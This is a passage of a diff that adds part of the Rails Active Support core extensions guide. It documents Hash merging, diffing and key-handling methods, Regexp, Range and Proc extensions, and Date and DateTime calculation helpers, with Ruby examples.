+* Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping:
+
+```ruby
+XML_TYPE_NAMES = {
+ "Symbol" => "symbol",
+ "Fixnum" => "integer",
+ "Bignum" => "integer",
+ "BigDecimal" => "decimal",
+ "Float" => "float",
+ "TrueClass" => "boolean",
+ "FalseClass" => "boolean",
+ "Date" => "date",
+ "DateTime" => "datetime",
+ "Time" => "datetime"
+}
+```
+
+By default the root node is "hash", but that's configurable via the `:root` option.
+
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder.
+
+NOTE: Defined in `active_support/core_ext/hash/conversions.rb`.
+
+### Merging
+
+Ruby has a built-in method `Hash#merge` that merges two hashes:
+
+```ruby
+{a: 1, b: 1}.merge(a: 0, c: 2)
+# => {:a=>0, :b=>1, :c=>2}
+```
+
+Active Support defines a few more ways of merging hashes that may be convenient.
+
+#### `reverse_merge` and `reverse_merge!`
+
+In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom:
+
+```ruby
+options = {length: 30, omission: "..."}.merge(options)
+```
+
+Active Support defines `reverse_merge` in case you prefer this alternative notation:
+
+```ruby
+options = options.reverse_merge(length: 30, omission: "...")
+```
+
+And a bang version `reverse_merge!` that performs the merge in place:
+
+```ruby
+options.reverse_merge!(length: 30, omission: "...")
+```
+
+WARNING. Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea.
+
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
+
+#### `reverse_update`
+
+The method `reverse_update` is an alias for `reverse_merge!`, explained above.
+
+WARNING. Note that `reverse_update` has no bang.
+
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
+
+#### `deep_merge` and `deep_merge!`
+
+As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
+
+Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
+
+```ruby
+{a: {b: 1}}.deep_merge(a: {c: 2})
+# => {:a=>{:b=>1, :c=>2}}
+```
+
+The method `deep_merge!` performs a deep merge in place.
+
+NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`.
+
+### Deep duplicating
+
+The method `Hash.deep_dup` duplicates itself and all keys and values inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside.
+
+```ruby
+hash = { a: 1, b: { c: 2, d: [3, 4] } }
+
+dup = hash.deep_dup
+dup[:b][:e] = 5
+dup[:b][:d] << 5
+
+hash[:b][:e] == nil # => true
+hash[:b][:d] == [3, 4] # => true
+```
+
+NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`.
+
+### Diffing
+
+The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic:
+
+* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash.
+
+* If both hashes have `key`, but with different values, the pair in the receiver wins.
+
+* The rest is just merged.
+
+```ruby
+{a: 1}.diff(a: 1)
+# => {}, first rule
+
+{a: 1}.diff(a: 2)
+# => {:a=>1}, second rule
+
+{a: 1}.diff(b: 2)
+# => {:a=>1, :b=>2}, third rule
+
+{a: 1, b: 2, c: 3}.diff(b: 1, c: 3, d: 4)
+# => {:a=>1, :b=>2, :d=>4}, all rules
+
+{}.diff({}) # => {}
+{a: 1}.diff({}) # => {:a=>1}
+{}.diff(a: 1) # => {:a=>1}
+```
+
+An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice:
+
+```ruby
+hash.diff(hash2).diff(hash2) == hash
+```
+
+Diffing hashes may be useful for error messages related to expected option hashes for example.
+
+NOTE: Defined in `active_support/core_ext/hash/diff.rb`.
+
+### Working with Keys
+
+#### `except` and `except!`
+
+The method `except` returns a hash with the keys in the argument list removed, if present:
+
+```ruby
+{a: 1, b: 2}.except(:a) # => {:b=>2}
+```
+
+If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance:
+
+```ruby
+{a: 1}.with_indifferent_access.except(:a) # => {}
+{a: 1}.with_indifferent_access.except("a") # => {}
+```
+
+There's also the bang variant `except!` that removes keys in the very receiver.
+
+NOTE: Defined in `active_support/core_ext/hash/except.rb`.
+
+#### `transform_keys` and `transform_keys!`
+
+The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
+
+```ruby
+{nil => nil, 1 => 1, a: :a}.transform_keys{ |key| key.to_s.upcase }
+# => {"" => nil, "A" => :a, "1" => 1}
+```
+
+The result in case of collision is undefined:
+
+```ruby
+{"a" => 1, a: 2}.transform_keys{ |key| key.to_s.upcase }
+# => {"A" => 2}, in my test, can't rely on this result though
+```
+
+This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions:
+
+```ruby
+def stringify_keys
+ transform_keys{ |key| key.to_s }
+end
+...
+def symbolize_keys
+ transform_keys{ |key| key.to_sym rescue key }
+end
+```
+
+There's also the bang variant `transform_keys!` that applies the block operations to keys in the very receiver.
+
+Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase }
+# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `stringify_keys` and `stringify_keys!`
+
+The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them:
+
+```ruby
+{nil => nil, 1 => 1, a: :a}.stringify_keys
+# => {"" => nil, "a" => :a, "1" => 1}
+```
+
+The result in case of collision is undefined:
+
+```ruby
+{"a" => 1, a: 2}.stringify_keys
+# => {"a" => 2}, in my test, can't rely on this result though
+```
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:
+
+```ruby
+def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+ options = options.stringify_keys
+ options["type"] = "checkbox"
+ ...
+end
+```
+
+The second line can safely access the "type" key, and let the user to pass either `:type` or "type".
+
+There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver.
+
+Besides that, one can use `deep_stringify_keys` and `deep_stringify_keys!` to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
+# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `symbolize_keys` and `symbolize_keys!`
+
+The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them:
+
+```ruby
+{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+# => {1=>1, nil=>nil, :a=>"a"}
+```
+
+WARNING. Note in the previous example only one key was symbolized.
+
+The result in case of collision is undefined:
+
+```ruby
+{"a" => 1, a: 2}.symbolize_keys
+# => {:a=>2}, in my test, can't rely on this result though
+```
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines
+
+```ruby
+def rewrite_path(options)
+ options = options.symbolize_keys
+ options.update(options[:params].symbolize_keys) if options[:params]
+ ...
+end
+```
+
+The second line can safely access the `:params` key, and let the user to pass either `:params` or "params".
+
+There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver.
+
+Besides that, one can use `deep_symbolize_keys` and `deep_symbolize_keys!` to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
+# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `to_options` and `to_options!`
+
+The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`.
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `assert_valid_keys`
+
+The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised.
+
+```ruby
+{a: 1}.assert_valid_keys(:a) # passes
+{a: 1}.assert_valid_keys("a") # ArgumentError
+```
+
+Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`.
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+### Slicing
+
+Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
+
+```ruby
+{a: 1, b: 2, c: 3}.slice(:a, :c)
+# => {:c=>3, :a=>1}
+
+{a: 1, b: 2, c: 3}.slice(:b, :X)
+# => {:b=>2} # non-existing keys are ignored
+```
+
+If the receiver responds to `convert_key` keys are normalized:
+
+```ruby
+{a: 1, b: 2}.with_indifferent_access.slice("a")
+# => {:a=>1}
+```
+
+NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
+
+There's also `slice!` which in addition to perform a slice in place returns what's removed:
+
+```ruby
+hash = {a: 1, b: 2}
+rest = hash.slice!(:a) # => {:b=>2}
+hash # => {:a=>1}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
+
+### Extracting
+
+The method `extract!` removes and returns the key/value pairs matching the given keys.
+
+```ruby
+hash = {a: 1, b: 2}
+rest = hash.extract!(:a) # => {:a=>1}
+hash # => {:b=>2}
+```
+
+The method `extract!` returns the same subclass of Hash, that the receiver is.
+
+```ruby
+hash = {a: 1, b: 2}.with_indifferent_access
+rest = hash.extract!(:a).class
+# => ActiveSupport::HashWithIndifferentAccess
+```
+
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
+
+### Indifferent Access
+
+The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver:
+
+```ruby
+{a: 1}.with_indifferent_access["a"] # => 1
+```
+
+NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
+
+Extensions to `Regexp`
+----------------------
+
+### `multiline?`
+
+The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines.
+
+```ruby
+%r{.}.multiline? # => false
+%r{.}m.multiline? # => true
+
+Regexp.new('.').multiline? # => false
+Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+```
+
+Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
+
+```ruby
+def assign_route_options(segments, defaults, requirements)
+ ...
+ if requirement.multiline?
+ raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+ end
+ ...
+end
+```
+
+NOTE: Defined in `active_support/core_ext/regexp.rb`.
+
+Extensions to `Range`
+---------------------
+
+### `to_s`
+
+Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`:
+
+```ruby
+(Date.today..Date.tomorrow).to_s
+# => "2009-10-25..2009-10-26"
+
+(Date.today..Date.tomorrow).to_s(:db)
+# => "BETWEEN '2009-10-25' AND '2009-10-26'"
+```
+
+As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions.
+
+NOTE: Defined in `active_support/core_ext/range/conversions.rb`.
+
+### `include?`
+
+The methods `Range#include?` and `Range#===` say whether some value falls between the ends of a given instance:
+
+```ruby
+(2..3).include?(Math::E) # => true
+```
+
+Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
+
+```ruby
+(1..10).include?(3..7) # => true
+(1..10).include?(0..7) # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9) # => false
+
+(1..10) === (3..7) # => true
+(1..10) === (0..7) # => false
+(1..10) === (3..11) # => false
+(1...9) === (3..9) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/range/include_range.rb`.
+
+### `overlaps?`
+
+The method `Range#overlaps?` says whether any two given ranges have non-void intersection:
+
+```ruby
+(1..10).overlaps?(7..11) # => true
+(1..10).overlaps?(0..7) # => true
+(1..10).overlaps?(11..27) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/range/overlaps.rb`.
+
+Extensions to `Proc`
+--------------------
+
+### `bind`
+
+As you surely know Ruby has an `UnboundMethod` class whose instances are methods that belong to the limbo of methods without a self. The method `Module#instance_method` returns an unbound method for example:
+
+```ruby
+Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
+```
+
+An unbound method is not callable as is, you need to bind it first to an object with `bind`:
+
+```ruby
+clear = Hash.instance_method(:clear)
+clear.bind({a: 1}).call # => {}
+```
+
+Active Support defines `Proc#bind` with an analogous purpose:
+
+```ruby
+Proc.new { size }.bind([]).call # => 0
+```
+
+As you see that's callable and bound to the argument, the return value is indeed a `Method`.
+
+NOTE: To do so `Proc#bind` actually creates a method under the hood. If you ever see a method with a weird name like `__bind_1256598120_237302` in a stack trace you know now where it comes from.
+
+Action Pack uses this trick in `rescue_from` for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by `handler_for_rescue`, thus simplifying the code in the caller:
+
+```ruby
+def handler_for_rescue(exception)
+ _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
+ ...
+ end
+
+ case rescuer
+ when Symbol
+ method(rescuer)
+ when Proc
+ rescuer.bind(self)
+ end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/proc.rb`.
+
+Extensions to `Date`
+--------------------
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/date/calculations.rb`.
+
+INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior.
+
+#### `Date.current`
+
+Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Date.current`.
+
+When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`.
+
+#### Named dates
+
+##### `prev_year`, `next_year`
+
+In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_year # => Fri, 08 May 2009
+d.next_year # => Sun, 08 May 2011
+```
+
+If date is the 29th of February of a leap year, you obtain the 28th:
+
+```ruby
+d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
+d.prev_year # => Sun, 28 Feb 1999
+d.next_year # => Wed, 28 Feb 2001
+```
+
+`prev_year` is aliased to `last_year`.
+
+##### `prev_month`, `next_month`
+
+In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_month # => Thu, 08 Apr 2010
+d.next_month # => Tue, 08 Jun 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+```
+
+`prev_month` is aliased to `last_month`.
+
+##### `prev_quarter`, `next_quarter`
+
+Same as `prev_month` and `next_month`. It returns the date with the same day in the previous or next quarter:
+
+```ruby
+t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
+t.prev_quarter # => Mon, 08 Feb 2010
+t.next_quarter # => Sun, 08 Aug 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000
+Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000
+Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
+Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
+```
+
+`prev_quarter` is aliased to `last_quarter`.
+
+##### `beginning_of_week`, `end_of_week`
+
+The methods `beginning_of_week` and `end_of_week` return the dates for the
+beginning and end of the week, respectively. Weeks are assumed to start on
+Monday, but that can be changed passing an argument, setting thread local
+`Date.beginning_of_week` or `config.beginning_of_week`.
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.beginning_of_week # => Mon, 03 May 2010
+d.beginning_of_week(:sunday) # => Sun, 02 May 2010
+d.end_of_week # => Sun, 09 May 2010
+d.end_of_week(:sunday) # => Sat, 08 May 2010
+```
+
+`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`.
+
+##### `monday`, `sunday`
+
+The methods `monday` and `sunday` return the dates for the previous Monday and
+next Sunday, respectively.
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.monday # => Mon, 03 May 2010
+d.sunday # => Sun, 09 May 2010
+
+d = Date.new(2012, 9, 10) # => Mon, 10 Sep 2012
+d.monday # => Mon, 10 Sep 2012
+
+d = Date.new(2012, 9, 16) # => Sun, 16 Sep 2012
+d.sunday # => Sun, 16 Sep 2012
+```
+
+##### `prev_week`, `next_week`
+
+The method `next_week` receives a symbol with a day name in English (default is the thread local `Date.beginning_of_week`, or `config.beginning_of_week`, or `:monday`) and it returns the date corresponding to that day.
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.next_week # => Mon, 10 May 2010
+d.next_week(:saturday) # => Sat, 15 May 2010
+```
+
+The method `prev_week` is analogous:
+
+```ruby
+d.prev_week # => Mon, 26 Apr 2010
+d.prev_week(:saturday) # => Sat, 01 May 2010
+d.prev_week(:friday) # => Fri, 30 Apr 2010
+```
+
+`prev_week` is aliased to `last_week`.
+
+Both `next_week` and `prev_week` work as expected when `Date.beginning_of_week` or `config.beginning_of_week` are set.
+
+##### `beginning_of_month`, `end_of_month`
+
+The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_month # => Sat, 01 May 2010
+d.end_of_month # => Mon, 31 May 2010
+```
+
+`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`.
+
+##### `beginning_of_quarter`, `end_of_quarter`
+
+The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_quarter # => Thu, 01 Apr 2010
+d.end_of_quarter # => Wed, 30 Jun 2010
+```
+
+`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`.
+
+##### `beginning_of_year`, `end_of_year`
+
+The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_year # => Fri, 01 Jan 2010
+d.end_of_year # => Fri, 31 Dec 2010
+```
+
+`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`.
+
+#### Other Date Computations
+
+##### `years_ago`, `years_since`
+
+The method `years_ago` receives a number of years and returns the same date those many years ago:
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.years_ago(10) # => Wed, 07 Jun 2000
+```
+
+`years_since` moves forward in time:
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.years_since(10) # => Sun, 07 Jun 2020
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009
+Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015
+```
+
+##### `months_ago`, `months_since`
+
+The methods `months_ago` and `months_since` work analogously for months:
+
+```ruby
+Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
+Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
+Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
+```
+
+##### `weeks_ago`
+
+The method `weeks_ago` works analogously for weeks:
+
+```ruby
+Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010
+Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010
+```
+
+##### `advance`
+
+The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:
+
+```ruby
+date = Date.new(2010, 6, 6)
+date.advance(years: 1, weeks: 2) # => Mon, 20 Jun 2011
+date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
+```
+
+Note in the previous example that increments may be negative.
+
+To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.
+
+The method `advance` advances first one month, and then one day, the result is:
+
+```ruby
+Date.new(2010, 2, 28).advance(months: 1, days: 1)
+# => Sun, 29 Mar 2010
+```
+
+While if it did it the other way around the result would be different:
+
+```ruby
+Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
+# => Thu, 01 Apr 2010
+```
+
+#### Changing Components
+
+The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day:
+
+```ruby
+Date.new(2010, 12, 23).change(year: 2011, month: 11)
+# => Wed, 23 Nov 2011
+```
+
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
+
+```ruby
+Date.new(2010, 1, 31).change(month: 2)
+# => ArgumentError: invalid date
+```
+
+#### Durations
+
+Durations can be added to and subtracted from dates:
+
+```ruby
+d = Date.current
+# => Mon, 09 Aug 2010
+d + 1.year
+# => Tue, 09 Aug 2011
+d - 3.hours
+# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+Date.new(1582, 10, 4) + 1.day
+# => Fri, 15 Oct 1582
+```
+
+#### Timestamps
+
+INFO: The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone.
+
+##### `beginning_of_day`, `end_of_day`
+
+The method `beginning_of_day` returns a timestamp at the beginning of the day (00:00:00):
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
+```
+
+The method `end_of_day` returns a timestamp at the end of the day (23:59:59):
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
+```
+
+`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`.
+
+##### `beginning_of_hour`, `end_of_hour`
+
+The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
+```
+
+The method `end_of_hour` returns a timestamp at the end of the hour (hh:59:59):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
+```
+
+`beginning_of_hour` is aliased to `at_beginning_of_hour`.
+
+##### `beginning_of_minute`, `end_of_minute`
+
+The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
+```
+
+The method `end_of_minute` returns a timestamp at the end of the minute (hh:mm:59):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
+```
+
+`beginning_of_minute` is aliased to `at_beginning_of_minute`.
+
+INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance.
+
+##### `ago`, `since`
+
+The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
+
+```ruby
+date = Date.current # => Fri, 11 Jun 2010
+date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
+```
+
+Similarly, `since` moves forward:
+
+```ruby
+date = Date.current # => Fri, 11 Jun 2010
+date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
+```
+
+#### Other Time Computations
+
+### Conversions
+
+Extensions to `DateTime`
+------------------------
+
+WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day.
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`.
+
+The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes:
+
+```ruby
+yesterday
+tomorrow
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+```
+
+The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones:
+
+```ruby
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+ago
+since (in)
+```
+
+On the other hand, `advance` and `change` are also defined and support more options, they are documented below.
+
+The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance:
+
+```ruby
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+```
+
+#### Named Datetimes
+
+##### `DateTime.current`
+
+Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`.
+
+#### Other Extensions
+
+##### `seconds_since_midnight`
+
+The method `seconds_since_midnight` returns the number of seconds since midnight:
+
+```ruby
+now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000
+now.seconds_since_midnight # => 73596
+```
+
+##### `utc`
+
+The method `utc` gives you the same datetime in the receiver expressed in UTC.
+
+```ruby
+now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
+now.utc # => Mon, 07 Jun 2010 23:27:52 +0000
+```
+
+This method is also aliased as `getutc`.
+
+##### `utc?`
+
+The predicate `utc?` says whether the receiver has UTC as its time zone:
+
+```ruby
+now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
+now.utc? # => false
+now.utc.utc? # => true
+```
+
+##### `advance`
+
+The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate.
+
+```ruby
+d = DateTime.current
+# => Thu, 05 Aug 2010 11:33:31 +0000
+d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
+# => Tue, 06 Sep 2011 12:34:32 +0000
+```
+
+This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling `since` with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits.
+
+If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
+
+```ruby
+d = DateTime.new(2010, 2, 28, 23, 59, 59)
+# => Sun, 28 Feb 2010 23:59:59 +0000
+d.advance(months: 1, seconds: 1)
+# => Mon, 29 Mar 2010 00:00:00 +0000
+```
+
+but if we computed them the other way around, the result would be different:
+
+```ruby
+d.advance(seconds: 1).advance(months: 1)
+# => Thu, 01 Apr 2010 00:00:00 +0000
+```
+
+WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
+
+#### Changing Components
+
+The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`:
+
+```ruby
+now = DateTime.current
+# => Tue, 08 Jun 2010 01:56:22 +0000
+now.change(year: 2011, offset: Rational(-6, 24))
+# => Wed, 08 Jun 2011 01:56:22 -0600
+```
+
+If hours are zeroed, then minutes and seconds are too (unless they have given values):
+
+```ruby
+now.change(hour: 0)
+# => Tue, 08 Jun 2010 00:00:00 +0000
+```
+
+Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):
+
+```ruby
+now.change(min: 0)
+# => Tue, 08 Jun 2010 01:00:00 +0000
+```
+
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
+
+```ruby
+DateTime.current.change(month: 2, day: 30)
+# => ArgumentError: invalid date
+```
+
+#### Durations
+
+Durations can be added to and subtracted from datetimes:
+
+```ruby
+now = DateTime.current
